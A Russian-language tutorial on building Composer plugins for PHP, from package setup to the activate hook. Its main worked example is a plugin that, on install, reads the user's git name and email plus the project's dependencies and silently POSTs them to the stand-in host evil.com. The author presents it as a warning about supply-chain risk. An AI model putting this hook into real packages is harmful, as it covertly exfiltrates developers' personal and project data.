Composer
— это самый важный инструмент в наборе современного PHP-разработчика. Времена ручного управления зависимостями остались в далеком прошлом, и их место заняли такие замечательные вещи как Semver
. Вещи, которые помогают нам спать по ночам, ведь мы можем обновлять наши зависимости не обрушивая все вокруг.
Хоть мы и используем Composer
довольно часто, не все знают о том, как расширить его возможности. Такая мысль даже не возникает, ведь он и так делает свою работу хорошо по-умолчанию, и кажется, что это не стоит времени или усилий, чтобы попытаться или хотя бы изучить. Даже в официальной документации обходят стороной этот вопрос. Наверное, потому что никто не спрашивает…
Однако, недавние изменения сделали разработку плагинов для Composer
намного легче. Сам же Composer
также недавно перешел из альфа-версии в бету, пожалуй, это самый консервативный цикл релизов из когда-либо задуманных. Этот инструмент, который изменил современный PHP-мир, сделал его таким, каким мы видим его сейчас. Этот краеугольный камень профессиональной разработки PHP. Он просто перешел из альфы в бету.
Итак, сегодня я подумал, что мне бы хотелось исследовать возможности composer-плагинов, и по ходу дела создать немного свежей документации.
Вы можете найти код этого плагина на Github.
Для начала, нам нужно создать репозиторий с плагином, отдельно от приложения, в котором мы будем его использовать. Плагины устанавливаются как и обычные зависимости. Давайте созданим новую папку и положим туда composer.json
файл:
{
"type": "composer-plugin",
"name": "habrahabr/plugin",
"require": {
"composer-plugin-api": "^1.0"
}
}
Каждая из этих строчек важна! Мы присваиваем этому плагину тип composer-plugin
для того, чтобы иметь доступ к хукам жизненного цикла Composer
, которые мы будем использовать.
Мы даем имя плагину, чтобы наше приложение могло добавить его в зависимости. Вы можете использовать все остальные переменные по вашему усмотрению, но запомните как вы назвали плагин, это нам понадобится позже.
Также необходимо проставить зависимость с composer-plugin-api
. Указанная версия важна, потому что наш плагин будет рассматриваться как совместимый с определенной версией API плагинов, что в свою очередь влияет на такие вещи, как, например, метод подписей.
Далее нам нужно указать класс для автозагрузки плагина:
"autoload": {
"psr-4": {
"HabraHabr\\": "src"
}
},
"extra": {
"class": "HabraHabr\\Plugin"
}
Создаем папку src
с файлом Plugin.php
. Вот код, который отработает на первом хуке в жизненном цикле Composer
:
namespace HabraHabr;
use Composer\Composer;
use Composer\IO\IOInterface;
use Composer\Plugin\PluginInterface;
class Plugin implements PluginInterface {
public function activate(Composer $composer, IOInterface $io) {
print "hello world";
}
}
PluginInterface
описывает наличие публичного метода activate
, который вызывается после загрузки плагина. Давайте убедимся, что наш плагин работае. Перейдем в наше приложение и создадим для него composer.json
:
{
"name": "habrahabr/app",
"require": {
"habrahabr/plugin": "*"
}, "repositories": [ {
"type": "path",
"url": "../habrahabr-plugin"
} ],
"minimum-stability": "dev",
"prefer-stable": true
}
Это значительно проще, чем раньше и больше похоже на то, как люди будут использовать ваш плагин. Лучшим решением было бы выпустить стабильные версии вашего плагина через Packagist, но пока вы разрабатываете и так нормально. Конфиг сообщает Composer
'у что нужно запросить любые имеющиеся версии habrahabr/plugin
и указывает источник для зависимости.
Путь к репозиторию относительный, поэтому Composer автоматически сделает symlink и заботится об этом вам не придется. Раз уж мы завязываемся на нестабильной зависимости, то давайте укажем минимально-требуемый уровень как dev
.
В подобных ситуациях все же будет предпочтительней завязываться на стабильных версиях библиотек там, где это возможно...
Теперь при запуске composer install
из папки приложения вы увидите сообщение hello world
! И все это без какого либо размещения кода на на github или Packagist.
Я рекомендую использовать команду rm -rf vendor composer.lock; composer install
во время разработки. Особенно, когда вы начнете работать с папками для установки!
Также хорошей идеей будет поставить в зависимости composer/composer
, это упростит нам работу с интерфейсами и классами, которые в будущем нам понадобятся.
Большую часть того, что вы узнаете о плагинах, вы можете найти глядя на исходные коды Composer
. В качестве альтернативы вы можете воспользоваться дебаггером и проверить весь ход исполнения, начиная с метода activate
. Также, если вы используете IDE, например PHPStorm, наличие исходников облегчит изучение и поможет легко перемещаться между вашим кодом и кодом менеджера зависимостей.
Например, мы можем проинспектировать $composer->getPackage()
, чтобы увидеть для чего нужна та или иная переменная в файле composer.json
. Мы можем использовать $io->ask("...")
, чтобы задавать вопросы во время процесса установки.
Давайте построим что-то практичное, хотя, возможно, немного дьявольской. Давайте сделаем наш плагин отслеживает действия пользователей и зависимости, которые они требуют. Мы начинаем поиск их в git username и email:
Начнем же наконец-то делать что-то практичное и, возможно, немного дьявольское! Давайте сделаем так, чтобы наш плагин отслеживал действия пользователей и зависимости, которые они требуют. Начнем с поиска их имени и почты, указанных в git
:
public function activate(Composer $composer, IOInterface $io) {
exec("git config --global user.name", $name);
exec("git config --global user.email", $email);
$payload = [];
if (count($name) > 0) {
$payload["name"] = $name[0];
}
if (count($email) > 0) {
$payload["email"] = $email[0];
}
}
Имена пользователей и адреса электронной почты обычно хранятся в глобальном конфиге git
, команда git config --global user.name
, выполненная в терминале, вернет их. Выполнив их через exec
мы получим результаты в нашем плагине.
Теперь, давайте отследим имя приложения (если оно определено), а также набор зависимостей и их версий. То же самое сделаем для dev
-зависимостей, сделаем обеих групп общий метод:
private function addDependencies($type, array $dependencies, array $payload) {
$payload = array_slice($payload, 0);
if (count($dependencies) > 0) {
$payload[$type] = [];
}
foreach ($dependencies as $dependency) {
$name = $dependency->getTarget();
$version = $dependency->getPrettyConstraint();
$payload[$type][$name] = $version;
}
return $payload;
}
Мы получаем название и ограничения по версии для каждой из библитоек и добавляем их в массив $payload
. Вызов array_slice
гарантирует нам отсутствие побочных эффектов этого метода, при многократном вызове мы получим точно такие же результаты.
Подобную реазилацию часто называют pure function
, или примером использования неизменяемых переменных.
Теперь давайте используем этот метод и передадим ему массивы с зависимостями:
public function activate(Composer $composer, IOInterface $io) {
// ...get user details $app = $composer->getPackage()->getName();
if ($app) {
$payload["app"] = $app;
}
$payload = $this->addDependencies(
"requires",
$composer->getPackage()->getRequires(),
$payload
);
$payload = $this->addDependencies(
"dev-requires",
$composer->getPackage()->getDevRequires(),
$payload
);
}
И наконец, мы можем отправить эти данные куда-нибудь:
public function activate(Composer $composer, IOInterface $io) {
// ...get user details
// ...get project details
$context = stream_context_create([
"http" => [
"method" => "POST",
"timeout" => 0.5,
"content" => http_build_query($payload),
],
]);
@file_get_contents("https://evil.com", false, $context);
}
Мы могли бы использовать Guzzle для этого, но file_get_contents
работает также хорошо. По сути, все что нужно сделать — POST
запрос на https://evil.com
с сериализированными данными.
Я ни в коем случае не призываю вас собирать в тайне собирать пользовательские данные. Но, возможно, полезно знать, сколько данных может кто-то собрать, с помощью простой зависимость к хорошо продуманному Composer
-плагину.
Конечно, можно использовать опцию composer install --no-plugins
, но множество фреймворков и систем управления контентом зависят от плагинов, требующихся для их правильной установки.
Несколько дополнительных предупреждений:
exec
, фильтруйте и проверяйте любые данные, которые не указаны жестко в коде. В противном случае вы создаете вектор атаки на ваш код.IOInterface::ask("...")
— как раз то, что вам нужно...Помогла ли вам эта статья? Возможно, у вас есть идея для плагина; например свой плагин-установщик для библиотек, или плагин, который загружает оффлайн документацию для популярных проектов. Дайте знать в комментариях ниже…